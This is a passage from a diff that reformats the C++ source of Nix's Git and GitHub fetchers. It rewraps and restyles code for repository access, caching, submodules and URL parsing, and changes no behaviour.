? pathComponents2 - : pathComponents2.first(pathComponents2.size() - 1)); + updateBuilders(isDir ? pathComponents2 : pathComponents2.first(pathComponents2.size() - 1)); return true; } - void createRegularFile( - const CanonPath & path, - std::function func) override + void createRegularFile(const CanonPath & path, std::function func) override { auto pathComponents = tokenizeString>(path.rel(), "/"); - if (!prepareDirs(pathComponents, false)) return; + if (!prepareDirs(pathComponents, false)) + return; git_writestream * stream = nullptr; if (git_blob_create_from_stream(&stream, *repo, nullptr)) throw Error("creating a blob stream object: %s", git_error_last()->message); - struct CRF : CreateRegularFileSink { + struct CRF : CreateRegularFileSink + { const CanonPath & path; GitFileSystemObjectSinkImpl & back; git_writestream * stream; bool executable = false; CRF(const CanonPath & path, GitFileSystemObjectSinkImpl & back, git_writestream * stream) - : path(path), back(back), stream(stream) - {} - void operator () (std::string_view data) override + : path(path) + , back(back) + , stream(stream) + { + } + void operator()(std::string_view data) override { if (stream->write(stream, data.data(), data.size())) throw Error("writing a blob for tarball member '%s': %s", path, git_error_last()->message); @@ -1091,17 +1079,14 @@ struct GitFileSystemObjectSinkImpl : GitFileSystemObjectSink { executable = true; } - } crf { path, *this, stream }; + } crf{path, *this, stream}; func(crf); git_oid oid; if (git_blob_create_from_stream_commit(&oid, stream)) throw Error("creating a blob object for tarball member '%s': %s", path, git_error_last()->message); - addToTree(*pathComponents.rbegin(), oid, - crf.executable - ? GIT_FILEMODE_BLOB_EXECUTABLE - : GIT_FILEMODE_BLOB); + addToTree(*pathComponents.rbegin(), oid, crf.executable ? GIT_FILEMODE_BLOB_EXECUTABLE : GIT_FILEMODE_BLOB); } void createDirectory(const CanonPath & path) override @@ -1113,7 +1098,8 @@ struct GitFileSystemObjectSinkImpl : GitFileSystemObjectSink void createSymlink(const CanonPath & path, const std::string & target) override { auto pathComponents = tokenizeString>(path.rel(), "/"); - if (!prepareDirs(pathComponents, false)) return; + if (!prepareDirs(pathComponents, false)) + return; git_oid oid; if (git_blob_create_from_buffer(&oid, *repo, target.c_str(), target.size())) @@ -1128,7 +1114,8 @@ struct GitFileSystemObjectSinkImpl : GitFileSystemObjectSink for (auto & c : path) pathComponents.emplace_back(c); - if (!prepareDirs(pathComponents, false)) return; + if (!prepareDirs(pathComponents, false)) + return; // We can't just look up the path from the start of the root, since // some parent directories may not have finished yet, so we compute @@ -1172,9 +1159,7 @@ struct GitFileSystemObjectSinkImpl : GitFileSystemObjectSink assert(entry); - addToTree(*pathComponents.rbegin(), - *git_tree_entry_id(entry), - git_tree_entry_filemode(entry)); + addToTree(*pathComponents.rbegin(), *git_tree_entry_id(entry), git_tree_entry_filemode(entry)); } Hash flush() override @@ -1189,19 +1174,14 @@ struct GitFileSystemObjectSinkImpl : GitFileSystemObjectSink } }; -ref GitRepoImpl::getRawAccessor( - const Hash & rev, - bool smudgeLfs) +ref GitRepoImpl::getRawAccessor(const Hash & rev, bool smudgeLfs) { auto self = ref(shared_from_this()); return make_ref(self, rev, smudgeLfs); } -ref GitRepoImpl::getAccessor( - const Hash & rev, - bool exportIgnore, - std::string displayPrefix, - bool smudgeLfs) +ref +GitRepoImpl::getAccessor(const Hash & rev, bool exportIgnore, std::string displayPrefix, bool smudgeLfs) { auto self = ref(shared_from_this()); ref rawGitAccessor = getRawAccessor(rev, smudgeLfs); @@ -1212,16 +1192,17 @@ ref GitRepoImpl::getAccessor( return rawGitAccessor; } -ref GitRepoImpl::getAccessor(const WorkdirInfo & wd, bool exportIgnore, MakeNotAllowedError makeNotAllowedError) +ref +GitRepoImpl::getAccessor(const WorkdirInfo & wd, bool exportIgnore, MakeNotAllowedError makeNotAllowedError) { auto self = ref(shared_from_this()); - ref fileAccessor = - AllowListSourceAccessor::create( - makeFSSourceAccessor(path), - std::set{ wd.files }, - // Always allow access to the root, but not its children. - std::unordered_set{CanonPath::root}, - std::move(makeNotAllowedError)).cast(); + ref fileAccessor = AllowListSourceAccessor::create( + makeFSSourceAccessor(path), + std::set{wd.files}, + // Always allow access to the root, but not its children. + std::unordered_set{CanonPath::root}, + std::move(makeNotAllowedError)) + .cast(); if (exportIgnore) return make_ref(self, fileAccessor, std::nullopt); else @@ -1239,7 +1220,8 @@ std::vector> GitRepoImpl::getSubmodules CanonPath modulesFile(".gitmodules"); auto accessor = getAccessor(rev, exportIgnore, ""); - if (!accessor->pathExists(modulesFile)) return {}; + if (!accessor->pathExists(modulesFile)) + return {}; /* Parse it and get the revision of each submodule. */ auto configS = accessor->readFile(modulesFile); @@ -1279,7 +1261,8 @@ GitRepo::WorkdirInfo GitRepo::getCachedWorkdirInfo(const std::filesystem::path & { auto cache(_cache.lock()); auto i = cache->find(path); - if (i != cache->end()) return i->second; + if (i != cache->end()) + return i->second; } auto workdirInfo = GitRepo::openRepo(path)->getWorkdirInfo(); _cache.lock()->emplace(path, workdirInfo); diff --git a/src/libfetchers/git.cc b/src/libfetchers/git.cc index 4a916929e..45d829031 100644 --- a/src/libfetchers/git.cc +++ b/src/libfetchers/git.cc @@ -43,10 +43,8 @@ bool isCacheFileWithinTtl(time_t now, const struct stat & st) Path getCachePath(std::string_view key, bool shallow) { - return getCacheDir() - + "/gitv3/" - + hashString(HashAlgorithm::SHA256, key).to_string(HashFormat::Nix32, false) - + (shallow ? "-shallow" : ""); + return getCacheDir() + "/gitv3/" + hashString(HashAlgorithm::SHA256, key).to_string(HashFormat::Nix32, false) + + (shallow ? "-shallow" : ""); } // Returns the name of the HEAD branch. @@ -58,24 +56,26 @@ Path getCachePath(std::string_view key, bool shallow) // ... std::optional readHead(const Path & path) { - auto [status, output] = runProgram(RunOptions { - .program = "git", - // FIXME: use 'HEAD' to avoid returning all refs - .args = {"ls-remote", "--symref", path}, - .isInteractive = true, - }); - if (status != 0) return std::nullopt; + auto [status, output] = runProgram( + RunOptions{ + .program = "git", + // FIXME: use 'HEAD' to avoid returning all refs + .args = {"ls-remote", "--symref", path}, + .isInteractive = true, + }); + if (status != 0) + return std::nullopt; std::string_view line = output; line = line.substr(0, line.find("\n")); if (const auto parseResult = git::parseLsRemoteLine(line); parseResult && parseResult->reference == "HEAD") { switch (parseResult->kind) { - case git::LsRemoteRefLine::Kind::Symbolic: - debug("resolved HEAD ref '%s' for repo '%s'", parseResult->target, path); - break; - case git::LsRemoteRefLine::Kind::Object: - debug("resolved HEAD rev '%s' for repo '%s'", parseResult->target, path); - break; + case git::LsRemoteRefLine::Kind::Symbolic: + debug("resolved HEAD ref '%s' for repo '%s'", parseResult->target, path); + break; + case git::LsRemoteRefLine::Kind::Object: + debug("resolved HEAD rev '%s' for repo '%s'", parseResult->target, path); + break; } return parseResult->target; } @@ -87,15 +87,15 @@ bool storeCachedHead(const std::string & actualUrl, bool shallow, const std::str { Path cacheDir = getCachePath(actualUrl, shallow); try { - runProgram("git", true, { "-C", cacheDir, "--git-dir", ".", "symbolic-ref", "--", "HEAD", headRef }); - } catch (ExecError &e) { + runProgram("git", true, {"-C", cacheDir, "--git-dir", ".", "symbolic-ref", "--", "HEAD", headRef}); + } catch (ExecError & e) { if ( #ifndef WIN32 // TODO abstract over exit status handling on Windows !WIFEXITED(e.status) #else e.status != 0 #endif - ) + ) throw; return false; @@ -116,17 +116,15 @@ std::optional readHeadCached(const std::string & actualUrl, bool sh std::optional cachedRef; if (stat(headRefFile.c_str(), &st) == 0) { cachedRef = readHead(cacheDir); - if (cachedRef != std::nullopt && - *cachedRef != gitInitialBranch && - isCacheFileWithinTtl(now, st)) - { + if (cachedRef != std::nullopt && *cachedRef != gitInitialBranch && isCacheFileWithinTtl(now, st)) { debug("using cached HEAD ref '%s' for repo '%s'", *cachedRef, actualUrl); return cachedRef; } } auto ref = readHead(actualUrl); - if (ref) return ref; + if (ref) + return ref; if (cachedRef) { // If the cached git ref is expired in fetch() below, and the 'git fetch' @@ -152,28 +150,26 @@ std::vector getPublicKeys(const Attrs & attrs) } } if (attrs.contains("publicKey")) - publicKeys.push_back(PublicKey{maybeGetStrAttr(attrs, "keytype").value_or("ssh-ed25519"),getStrAttr(attrs, "publicKey")}); + publicKeys.push_back( + PublicKey{maybeGetStrAttr(attrs, "keytype").value_or("ssh-ed25519"), getStrAttr(attrs, "publicKey")}); return publicKeys; } -} // end namespace +} // end namespace static const Hash nullRev{HashAlgorithm::SHA1}; struct GitInputScheme : InputScheme { - std::optional inputFromURL( - const Settings & settings, - const ParsedURL & url, bool requireTree) const override + std::optional inputFromURL(const Settings & settings, const ParsedURL & url, bool requireTree) const override { - if (url.scheme != "git" && - url.scheme != "git+http" && - url.scheme != "git+https" && - url.scheme != "git+ssh" && - url.scheme != "git+file") return {}; + if (url.scheme != "git" && url.scheme != "git+http" && url.scheme != "git+https" && url.scheme != "git+ssh" + && url.scheme != "git+file") + return {}; auto url2(url); - if (hasPrefix(url2.scheme, "git+")) url2.scheme = std::string(url2.scheme, 4); + if (hasPrefix(url2.scheme, "git+")) + url2.scheme = std::string(url2.scheme, 4); url2.query.clear(); Attrs attrs; @@ -182,8 +178,10 @@ struct GitInputScheme : InputScheme for (auto & [name, value] : url.query) { if (name == "rev" || name == "ref" || name == "keytype" || name == "publicKey" || name == "publicKeys") attrs.emplace(name, value); - else if (name == "shallow" || name == "submodules" || name == "lfs" || name == "exportIgnore" || name == "allRefs" || name == "verifyCommit") - attrs.emplace(name, Explicit { value == "1" }); + else if ( + name == "shallow" || name == "submodules" || name == "lfs" || name == "exportIgnore" + || name == "allRefs" || name == "verifyCommit") + attrs.emplace(name, Explicit{value == "1"}); else url2.query.emplace(name, value); } @@ -193,7 +191,6 @@ struct GitInputScheme : InputScheme return inputFromAttrs(settings, attrs); } - std::string_view schemeName() const override { return "git"; @@ -223,15 +220,10 @@ struct GitInputScheme : InputScheme }; } - std::optional inputFromAttrs( - const Settings & settings, - const Attrs & attrs) const override + std::optional inputFromAttrs(const Settings & settings, const Attrs & attrs) const override { for (auto & [name, _] : attrs) - if (name == "verifyCommit" - || name == "keytype" - || name == "publicKey" - || name == "publicKeys") + if (name == "verifyCommit" || name == "keytype" || name == "publicKey" || name == "publicKeys") experimentalFeatureSettings.require(Xp::VerifiedFetches); maybeGetBoolAttr(attrs, "verifyCommit"); @@ -255,9 +247,12 @@ struct GitInputScheme : InputScheme ParsedURL toURL(const Input & input) const override { auto url = parseURL(getStrAttr(input.attrs, "url")); - if (url.scheme != "git") url.scheme = "git+" + url.scheme; - if (auto rev = input.getRev()) url.query.insert_or_assign("rev", rev->gitRev()); - if (auto ref = input.getRef()) url.query.insert_or_assign("ref", *ref); + if (url.scheme != "git") + url.scheme = "git+" + url.scheme; + if (auto rev = input.getRev()) + url.query.insert_or_assign("rev", rev->gitRev()); + if (auto ref = input.getRef()) + url.query.insert_or_assign("ref", *ref); if (getShallowAttr(input)) url.query.insert_or_assign("shallow", "1"); if (getLfsAttr(input)) @@ -272,20 +267,18 @@ struct GitInputScheme : InputScheme if (publicKeys.size() == 1) { url.query.insert_or_assign("keytype", publicKeys.at(0).type); url.query.insert_or_assign("publicKey", publicKeys.at(0).key); - } - else if (publicKeys.size() > 1) + } else if (publicKeys.size() > 1) url.query.insert_or_assign("publicKeys", publicKeys_to_string(publicKeys)); return url; } - Input applyOverrides( - const Input & input, - std::optional ref, - std::optional rev) const override + Input applyOverrides(const Input & input, std::optional ref, std::optional rev) const override { auto res(input); - if (rev) res.attrs.insert_or_assign("rev", rev->gitRev()); - if (ref) res.attrs.insert_or_assign("ref", *ref); + if (rev) + res.attrs.insert_or_assign("rev", rev->gitRev()); + if (ref) + res.attrs.insert_or_assign("ref", *ref); if (!res.getRef() && res.getRev()) throw Error("Git input '%s' has a commit hash but no branch/tag name", res.to_string()); return res; @@ -304,7 +297,8 @@ struct GitInputScheme : InputScheme args.push_back(*ref); } - if (input.getRev()) throw UnimplementedError("cloning a specific revision is not implemented"); + if (input.getRev()) + throw UnimplementedError("cloning a specific revision is not implemented"); args.push_back(destDir); @@ -325,14 +319,23 @@ struct GitInputScheme : InputScheme auto repoInfo = getRepoInfo(input); auto repoPath = repoInfo.getPath(); if (!repoPath) - throw Error("cannot commit '%s' to Git repository '%s' because it's not a working tree", path, input.to_string()); + throw Error( + "cannot commit '%s' to Git repository '%s' because it's not a working tree", path, input.to_string()); writeFile(*repoPath / path.rel(), contents); - auto result = runProgram(RunOptions { - .program = "git", - .args = {"-C", repoPath->string(), "--git-dir", repoInfo.gitDir, "check-ignore", "--quiet", std::string(path.rel())}, - }); + auto result = runProgram( + RunOptions{ + .program = "git", + .args = + {"-C", + repoPath->string(), + "--git-dir", + repoInfo.gitDir, + "check-ignore", + "--quiet", + std::string(path.rel())}, + }); auto exitCode = #ifndef WIN32 // TODO abstract over exit status handling on Windows WEXITSTATUS(result.first) @@ -343,15 +346,32 @@ struct GitInputScheme : InputScheme if (exitCode != 0) { // The path is not `.gitignore`d, we can add the file. - runProgram("git", true, - { "-C", repoPath->string(), "--git-dir", repoInfo.gitDir, "add", "--intent-to-add", "--", std::string(path.rel()) }); - + runProgram( + "git", + true, + {"-C", + repoPath->string(), + "--git-dir", + repoInfo.gitDir, + "add", + "--intent-to-add", + "--", + std::string(path.rel())}); if (commitMsg) { // Pause the logger to allow for user input (such as a gpg passphrase) in `git commit` auto suspension = logger->suspend(); - runProgram("git", true, - { "-C", repoPath->string(), "--git-dir", repoInfo.gitDir, "commit", std::string(path.rel()), "-F", "-" }, + runProgram( + "git", + true, + {"-C", + repoPath->string(), + "--git-dir", + repoInfo.gitDir, + "commit", + std::string(path.rel()), + "-F", + "-"}, *commitMsg); } } @@ -370,12 +390,10 @@ struct GitInputScheme : InputScheme std::string locationToArg() const { return std::visit( - overloaded { - [&](const std::filesystem::path & path) - { return path.string(); }, - [&](const ParsedURL & url) - { return url.to_string(); } - }, location); + overloaded{ + [&](const std::filesystem::path & path) { return path.string(); }, + [&](const ParsedURL & url) { return url.to_string(); }}, + location); } std::optional getPath() const @@ -427,10 +445,11 @@ struct GitInputScheme : InputScheme RepoInfo getRepoInfo(const Input & input) const { - auto checkHashAlgorithm = [&](const std::optional & hash) - { + auto checkHashAlgorithm = [&](const std::optional & hash) { if (hash.has_value() && !(hash->algo == HashAlgorithm::SHA1 || hash->algo == HashAlgorithm::SHA256)) - throw Error("Hash '%s' is not supported by Git. Supported types are sha1 and sha256.", hash->to_string(HashFormat::Base16, true)); + throw Error( + "Hash '%s' is not supported by Git. Supported types are sha1 and sha256.", + hash->to_string(HashFormat::Base16, true)); }; if (auto rev = input.getRev()) @@ -505,7 +524,8 @@ struct GitInputScheme : InputScheme if (auto revCountAttrs = cache->lookup(key)) return getIntAttr(*revCountAttrs, "revCount"); - Activity act(*logger, lvlChatty, actUnknown, fmt("getting Git revision count of '%s'", repoInfo.locationToArg())); + Activity act( + *logger, lvlChatty, actUnknown, fmt("getting Git revision count of '%s'", repoInfo.locationToArg())); auto revCount = GitRepo::openRepo(repoDir)->getRevCount(rev); @@ -517,12 +537,10 @@ struct GitInputScheme : InputScheme std::string getDefaultRef(const RepoInfo & repoInfo, bool shallow) const { auto head = std::visit( - overloaded { - [&](const std::filesystem::path & path) - { return GitRepo::openRepo(path)->getWorkdirRef(); }, - [&](const ParsedURL & url) - { return readHeadCached(url.to_string(), shallow); } - }, repoInfo.location); + overloaded{ + [&](const std::filesystem::path & path) { return GitRepo::openRepo(path)->getWorkdirRef(); }, + [&](const ParsedURL & url) { return readHeadCached(url.to_string(), shallow); }}, + repoInfo.location); if (!head) { warn("could not read HEAD ref from repo at '%s', using 'master'", repoInfo.locationToArg()); return "master"; @@ -556,14 +574,13 @@ struct GitInputScheme : InputScheme if (input.getRev() && repo) repo->verifyCommit(*input.getRev(), publicKeys); else - throw Error("commit verification is required for Git repository '%s', but it's dirty", input.to_string()); + throw Error( + "commit verification is required for Git repository '%s', but it's dirty", input.to_string()); } } - std::pair, Input> getAccessorFromCommit( - ref store, - RepoInfo & repoInfo, - Input && input) const + std::pair, Input> + getAccessorFromCommit(ref store, RepoInfo & repoInfo, Input && input) const { assert(!repoInfo.workdirInfo.isDirty); @@ -594,10 +611,7 @@ struct GitInputScheme : InputScheme // We need to set the origin so resolving submodule URLs works repo->setRemote("origin", repoUrl.to_string()); - auto localRefFile = - ref.compare(0, 5, "refs/") == 0 - ? cacheDir / ref - : cacheDir / "refs/heads" / ref; + auto localRefFile = ref.compare(0, 5, "refs/") == 0 ? cacheDir / ref : cacheDir / "refs/heads" / ref; bool doFetch; time_t now = time(0); @@ -613,30 +627,27 @@ struct GitInputScheme : InputScheme /* If the local ref is older than ‘tarball-ttl’ seconds, do a git fetch to update the local ref to the remote ref. */ struct stat st; - doFetch = stat(localRefFile.string().c_str(), &st) != 0 || - !isCacheFileWithinTtl(now, st); + doFetch = stat(localRefFile.string().c_str(), &st) != 0 || !isCacheFileWithinTtl(now, st); } } if (doFetch) { bool shallow = getShallowAttr(input); try { - auto fetchRef = - getAllRefsAttr(input) - ? "refs/*:refs/*" - : input.getRev() - ? input.getRev()->gitRev() - : ref.compare(0, 5, "refs/") == 0 - ? fmt("%1%:%1%", ref) - : ref == "HEAD" - ? ref - : fmt("%1%:%1%", "refs/heads/" + ref); + auto fetchRef = getAllRefsAttr(input) ? "refs/*:refs/*" + : input.getRev() ? input.getRev()->gitRev() + : ref.compare(0, 5, "refs/") == 0 ? fmt("%1%:%1%", ref) + : ref == "HEAD" ? ref + : fmt("%1%:%1%", "refs/heads/" + ref); repo->fetch(repoUrl.to_string(), fetchRef, shallow); } catch (Error & e) { - if (!std::filesystem::exists(localRefFile)) throw; + if (!std::filesystem::exists(localRefFile)) + throw; logError(e.info()); - warn("could not update local clone of Git repository '%s'; continuing with the most recent version", repoInfo.locationToArg()); + warn( + "could not update local clone of Git repository '%s'; continuing with the most recent version", + repoInfo.locationToArg()); } try { @@ -653,16 +664,17 @@ struct GitInputScheme : InputScheme if (!repo->hasObject(*rev)) throw Error( "Cannot find Git revision '%s' in ref '%s' of repository '%s'! " - "Please make sure that the " ANSI_BOLD "rev" ANSI_NORMAL " exists on the " - ANSI_BOLD "ref" ANSI_NORMAL " you've specified or add " ANSI_BOLD - "allRefs = true;" ANSI_NORMAL " to " ANSI_BOLD "fetchGit" ANSI_NORMAL ".", + "Please make sure that the " ANSI_BOLD "rev" ANSI_NORMAL " exists on the " ANSI_BOLD + "ref" ANSI_NORMAL " you've specified or add " ANSI_BOLD "allRefs = true;" ANSI_NORMAL + " to " ANSI_BOLD "fetchGit" ANSI_NORMAL ".", rev->gitRev(), ref, repoInfo.locationToArg()); } else input.attrs.insert_or_assign("rev", repo->resolveRef(ref).gitRev()); - // cache dir lock is removed at scope end; we will only use read-only operations on specific revisions in the remainder + // cache dir lock is removed at scope end; we will only use read-only operations on specific revisions in + // the remainder } auto repo = GitRepo::openRepo(repoDir); @@ -670,7 +682,9 @@ struct GitInputScheme : InputScheme auto isShallow = repo->isShallow(); if (isShallow && !getShallowAttr(input)) - throw Error("'%s' is a shallow Git repository, but shallow repositories are only allowed when `shallow = true;` is specified", repoInfo.locationToArg()); + throw Error( + "'%s' is a shallow Git repository, but shallow repositories are only allowed when `shallow = true;` is specified", + repoInfo.locationToArg()); // FIXME: check whether rev is an ancestor of ref? @@ -682,8 +696,7 @@ struct GitInputScheme : InputScheme }); if (!getShallowAttr(input)) - infoAttrs.insert_or_assign("revCount", - getRevCount(repoInfo, repoDir, rev)); + infoAttrs.insert_or_assign("revCount", getRevCount(repoInfo, repoDir, rev)); printTalkative("using revision %s of repo '%s'", rev.gitRev(), repoInfo.locationToArg()); @@ -701,21 +714,25 @@ struct GitInputScheme : InputScheme for (auto & [submodule, submoduleRev] : repo->getSubmodules(rev, exportIgnore)) { auto resolved = repo->resolveSubmoduleUrl(submodule.url); - debug("Git submodule %s: %s %s %s -> %s", - submodule.path, submodule.url, submodule.branch, submoduleRev.gitRev(), resolved); + debug( + "Git submodule %s: %s %s %s -> %s", + submodule.path, + submodule.url, + submodule.branch, + submoduleRev.gitRev(), + resolved); fetchers::Attrs attrs; attrs.insert_or_assign("type", "git"); attrs.insert_or_assign("url", resolved); if (submodule.branch != "") attrs.insert_or_assign("ref", submodule.branch); attrs.insert_or_assign("rev", submoduleRev.gitRev()); - attrs.insert_or_assign("exportIgnore", Explicit{ exportIgnore }); - attrs.insert_or_assign("submodules", Explicit{ true }); - attrs.insert_or_assign("lfs", Explicit{ smudgeLfs }); - attrs.insert_or_assign("allRefs", Explicit{ true }); + attrs.insert_or_assign("exportIgnore", Explicit{exportIgnore}); + attrs.insert_or_assign("submodules", Explicit{true}); + attrs.insert_or_assign("lfs", Explicit{smudgeLfs}); + attrs.insert_or_assign("allRefs", Explicit{true}); auto submoduleInput = fetchers::Input::fromAttrs(*input.settings, std::move(attrs)); - auto [submoduleAccessor, submoduleInput2] = - submoduleInput.getAccessor(store); + auto [submoduleAccessor, submoduleInput2] = submoduleInput.getAccessor(store); submoduleAccessor->setPathDisplay("«" + submoduleInput.to_string() + "»"); mounts.insert_or_assign(submodule.path, submoduleAccessor); } @@ -734,10 +751,8 @@ struct GitInputScheme : InputScheme return {accessor, std::move(input)}; } - std::pair, Input> getAccessorFromWorkdir( - ref store, - RepoInfo & repoInfo, - Input && input) const + std::pair, Input> + getAccessorFromWorkdir(ref store, RepoInfo & repoInfo, Input && input) const { auto repoPath = repoInfo.getPath().value(); @@ -751,9 +766,7 @@ struct GitInputScheme : InputScheme auto exportIgnore = getExportIgnoreAttr(input); ref accessor = - repo->getAccessor(repoInfo.workdirInfo, - exportIgnore, - makeNotAllowedError(repoPath)); + repo->getAccessor(repoInfo.workdirInfo, exportIgnore, makeNotAllowedError(repoPath)); /* If the repo has submodules, return a mounted input accessor consisting of the accessor for the top-level repo and the @@ -766,14 +779,13 @@ struct GitInputScheme : InputScheme fetchers::Attrs attrs; attrs.insert_or_assign("type", "git"); attrs.insert_or_assign("url", submodulePath.string()); - attrs.insert_or_assign("exportIgnore", Explicit{ exportIgnore }); - attrs.insert_or_assign("submodules", Explicit{ true }); + attrs.insert_or_assign("exportIgnore", Explicit{exportIgnore}); + attrs.insert_or_assign("submodules", Explicit{true}); // TODO: fall back to getAccessorFromCommit-like fetch when submodules aren't checked out // attrs.insert_or_assign("allRefs", Explicit{ true }); auto submoduleInput = fetchers::Input::fromAttrs(*input.settings, std::move(attrs)); - auto [submoduleAccessor, submoduleInput2] = - submoduleInput.getAccessor(store); + auto [submoduleAccessor, submoduleInput2] = submoduleInput.getAccessor(store); submoduleAccessor->setPathDisplay("«" + submoduleInput.to_string() + "»"); /* If the submodule is dirty, mark this repo dirty as @@ -798,18 +810,15 @@ struct GitInputScheme : InputScheme auto rev = repoInfo.workdirInfo.headRev.value_or(nullRev); input.attrs.insert_or_assign("rev", rev.gitRev()); - input.attrs.insert_or_assign("revCount", - rev == nullRev ? 0 : getRevCount(repoInfo, repoPath, rev)); + input.attrs.insert_or_assign("revCount", rev == nullRev ? 0 : getRevCount(repoInfo, repoPath, rev)); verifyCommit(input, repo); } else { repoInfo.warnDirty(*input.settings); if (repoInfo.workdirInfo.headRev) { - input.attrs.insert_or_assign("dirtyRev", - repoInfo.workdirInfo.headRev->gitRev() + "-dirty"); - input.attrs.insert_or_assign("dirtyShortRev", - repoInfo.workdirInfo.headRev->gitShortRev() + "-dirty"); + input.attrs.insert_or_assign("dirtyRev", repoInfo.workdirInfo.headRev->gitRev() + "-dirty"); + input.attrs.insert_or_assign("dirtyShortRev", repoInfo.workdirInfo.headRev->gitShortRev() + "-dirty"); } verifyCommit(input, nullptr); @@ -817,9 +826,7 @@ struct GitInputScheme : InputScheme input.attrs.insert_or_assign( "lastModified", - repoInfo.workdirInfo.headRev - ? getLastModified(repoInfo, repoPath, *repoInfo.workdirInfo.headRev) - : 0); + repoInfo.workdirInfo.headRev ? getLastModified(repoInfo, repoPath, *repoInfo.workdirInfo.headRev) : 0); return {accessor, std::move(input)}; } @@ -830,8 +837,7 @@ struct GitInputScheme : InputScheme auto repoInfo = getRepoInfo(input); - if (getExportIgnoreAttr(input) - && getSubmodulesAttr(input)) { + if (getExportIgnoreAttr(input) && getSubmodulesAttr(input)) { /* In this situation, we don't have a git CLI behavior that we can copy. `git archive` does not support submodules, so it is unclear whether rules from the parent should affect the submodule or not. @@ -840,26 +846,26 @@ struct GitInputScheme : InputScheme throw UnimplementedError("exportIgnore and submodules are not supported together yet"); } - auto [accessor, final] = - input.getRef() || input.getRev() || !repoInfo.getPath() - ? getAccessorFromCommit(store, repoInfo, std::move(input)) - : getAccessorFromWorkdir(store, repoInfo, std::move(input)); + auto [accessor, final] = input.getRef() || input.getRev() || !repoInfo.getPath() + ? getAccessorFromCommit(store, repoInfo, std::move(input)) + : getAccessorFromWorkdir(store, repoInfo, std::move(input)); return {accessor, std::move(final)}; } std::optional getFingerprint(ref store, const Input & input) const override { - auto makeFingerprint = [&](const Hash & rev) - { - return rev.gitRev() + (getSubmodulesAttr(input) ? ";s" : "") + (getExportIgnoreAttr(input) ? ";e" : "") + (getLfsAttr(input) ? ";l" : ""); + auto makeFingerprint = [&](const Hash & rev) { + return rev.gitRev() + (getSubmodulesAttr(input) ? ";s" : "") + (getExportIgnoreAttr(input) ? ";e" : "") + + (getLfsAttr(input) ? ";l" : ""); }; if (auto rev = input.getRev()) return makeFingerprint(*rev); else { auto repoInfo = getRepoInfo(input); - if (auto repoPath = repoInfo.getPath(); repoPath && repoInfo.workdirInfo.headRev && repoInfo.workdirInfo.submodules.empty()) { + if (auto repoPath = repoInfo.getPath(); + repoPath && repoInfo.workdirInfo.headRev && repoInfo.workdirInfo.submodules.empty()) { /* Calculate a fingerprint that takes into account the deleted and modified/added files. */ HashSink hashSink{HashAlgorithm::SHA512}; @@ -873,7 +879,7 @@ struct GitInputScheme : InputScheme writeString(file.abs(), hashSink); } return makeFingerprint(*repoInfo.workdirInfo.headRev) - + ";d=" + hashSink.finish().first.to_string(HashFormat::Base16, false); + + ";d=" + hashSink.finish().first.to_string(HashFormat::Base16, false); } return std::nullopt; } diff --git a/src/libfetchers/github.cc b/src/libfetchers/github.cc index 4fcad5f26..9786f2430 100644 --- a/src/libfetchers/github.cc +++ b/src/libfetchers/github.cc @@ -29,13 +29,14 @@ std::regex hostRegex(hostRegexS, std::regex::ECMAScript); struct GitArchiveInputScheme : InputScheme { - virtual std::optional> accessHeaderFromToken(const std::string & token) const = 0; + virtual std::optional> + accessHeaderFromToken(const std::string & token) const = 0; - std::optional inputFromURL( - const fetchers::Settings & settings, - const ParsedURL & url, bool requireTree) const override + std::optional + inputFromURL(const fetchers::Settings & settings, const ParsedURL & url, bool requireTree) const override { - if (url.scheme != schemeName()) return {}; + if (url.scheme != schemeName()) + return {}; auto path = tokenizeString>(url.path, "/"); @@ -68,20 +69,18 @@ struct GitArchiveInputScheme : InputScheme } else if (size < 2) throw BadURL("URL '%s' is invalid", url); - for (auto &[name, value] : url.query) { + for (auto & [name, value] : url.query) { if (name == "rev") { if (rev) throw BadURL("URL '%s' contains multiple commit hashes", url); rev = Hash::parseAny(value, HashAlgorithm::SHA1); - } - else if (name == "ref") { + } else if (name == "ref") { if (!std::regex_match(value, refRegex)) throw BadURL("URL '%s' contains an invalid branch/tag name", url); if (ref) throw BadURL("URL '%s' contains multiple branch/tag names", url); ref = value; - } - else if (name == "host") { + } else if (name == "host") { if (!std::regex_match(value, hostRegex)) throw BadURL("URL '%s' contains an invalid instance host", url); host_url = value; @@ -93,12 +92,15 @@ struct GitArchiveInputScheme : InputScheme throw BadURL("URL '%s' contains both a commit hash and a branch/tag name %s %s", url, *ref, rev->gitRev()); Input input{settings}; - input.attrs.insert_or_assign("type", std::string { schemeName() }); + input.attrs.insert_or_assign("type", std::string{schemeName()}); input.attrs.insert_or_assign("owner", path[0]); input.attrs.insert_or_assign("repo", path[1]); - if (rev) input.attrs.insert_or_assign("rev", rev->gitRev()); - if (ref) input.attrs.insert_or_assign("ref", *ref); - if (host_url) input.attrs.insert_or_assign("host", *host_url); + if (rev) + input.attrs.insert_or_assign("rev", rev->gitRev()); + if (ref) + input.attrs.insert_or_assign("ref", *ref); + if (host_url) + input.attrs.insert_or_assign("host", *host_url); auto narHash = url.query.find("narHash"); if (narHash != url.query.end()) @@ -121,9 +123,7 @@ struct GitArchiveInputScheme : InputScheme }; } - std::optional inputFromAttrs( - const fetchers::Settings & settings, - const Attrs & attrs) const override + std::optional inputFromAttrs(const fetchers::Settings & settings, const Attrs & attrs) const override { getStrAttr(attrs, "owner"); getStrAttr(attrs, "repo"); @@ -141,10 +141,12 @@ struct GitArchiveInputScheme : InputScheme auto rev = input.getRev(); auto path = owner + "/" + repo; assert(!(ref && rev)); - if (ref) path += "/" + *ref; - if (rev) path += "/" + rev->to_string(HashFormat::Base16, false); - auto url = ParsedURL { - .scheme = std::string { schemeName() }, + if (ref) + path += "/" + *ref; + if (rev) + path += "/" + rev->to_string(HashFormat::Base16, false); + auto url = ParsedURL{ + .scheme = std::string{schemeName()}, .path = path, }; if (auto narHash = input.getNarHash()) @@ -155,15 +157,15 @@ struct GitArchiveInputScheme : InputScheme return url; } - Input applyOverrides( - const Input & _input, - std::optional ref, - std::optional rev) const override + Input applyOverrides(const Input & _input, std::optional ref, std::optional rev) const override { auto input(_input); if (rev && ref) - throw BadURL("cannot apply both a commit hash (%s) and a branch/tag name ('%s') to input '%s'", - rev->gitRev(), *ref, input.to_string()); + throw BadURL( + "cannot apply both a commit hash (%s) and a branch/tag name ('%s') to input '%s'", + rev->gitRev(), + *ref, + input.to_string()); if (rev) { input.attrs.insert_or_assign("rev", rev->gitRev()); input.attrs.erase("ref"); @@ -176,22 +178,18 @@ struct GitArchiveInputScheme : InputScheme } // Search for the longest possible match starting from the begining and ending at either the end or a path segment. - std::optional getAccessToken(const 